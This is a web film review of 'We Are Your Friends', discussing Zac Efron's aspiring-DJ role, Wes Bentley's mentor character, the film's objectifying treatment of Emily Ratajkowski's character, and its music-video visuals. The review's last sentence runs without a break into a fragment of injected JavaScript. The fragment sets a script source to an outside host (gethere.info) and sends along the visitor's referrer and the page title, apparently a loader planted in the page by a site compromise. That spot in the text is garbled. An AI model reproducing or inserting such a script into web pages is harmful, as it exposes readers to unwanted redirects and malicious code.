Director: Max Joseph
Starring: Zach Efron; Emily Ratajkowski; Wes Bentley
By Hayley Skinner
In the past couple of years we have been spoilt with great films about music. Last year we had ‘Frank’ and ‘Inside Llewyn Davis. This year we’ve had the very funny ‘Pitch Perfect 2’ and the critically acclaimed biopic ‘Straight Outta Compton’. It was only a matter of time before someone tried to appeal to the young modern generation. That’s exactly what first time feature director Max Joseph has done with ‘We Are Your Friends’ as he attempts to capture the clubbing scene of Los Angeles and what it takes to become a superstar DJ.
Zac Efron stars as Cole Carter an aspiring DJ who lives on the ‘wrong’ side of Hollywood Hills. Along with his three friends he works at night at a local club promoting and until a chance encounter means he is taken under the wing of an older DJ James (Wes Bentley).
The films starts well as we see Cole and his friends promoting their night at a club at a university. We see them chat up girls and promise free drinks in the way that many young people can relate to. What follows, however is the introduction of Bentley’s character James who for unexplained reasons takes Cole and helps him on his way to becoming a great DJ. Bentley is clearly having fun with this role and you feel that genuine connection between him and Cole as they bond over the thing they love – music. Also living with James is Sophie (Emily Ratajkowski), his girlfriend/P.A/object for Cole to lust after. Notice, the word object, that’s all she is. The interactions between the three as they spend afternoons working on Cole’s music are the most authentic thing about the film. Sophie clearly has a passion for music but is reduced to a love interest and source of conflict for the new friends. The camera lingers on her chest for too long, and we are forced to endure shots of her from the feet up as she dances in front of the DJ booth.
The way the film treats its leading female character is one of its main flaws. Joseph angles the film for the male audience which alienates a large part of his audience. A Separate sub-plot sees the friends from the valley take a job doing dodgy dealings for a mortgage company calling vulnerable people and offering them help. This section sees Joseph attempt a Wolf of Wall Street scenario, complete with appearance by Jon Bernthal who should have known better. The film goes the way you expect and we see fights between the friends as well a romance with Sophie and Cole.
The things that is repeated throughout is that although the music is electronic it has to be authentic. When we focus on the music the film is honest and interesting and makes you care about someone standing on a stage pushing buttons. There are moments where the film plays out like a music video. At one point Cole is in an art gallery and watches as the art comes to life and consumes him and everyone around him. This scene looks like a psychedelic music video which could have failed miserably but instead manages to actually engage your attention and actually gives you hope for Joseph as a director in whatever he chooses to do next.
If you want to see a film with beautiful people being ogled at but behind this actually has some authenticity and heart then this is a fun watch. If you ignore its treatment for women, both Bentley and Efron are great to watch and it manages to make interested in something so simple – pressing buttons.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;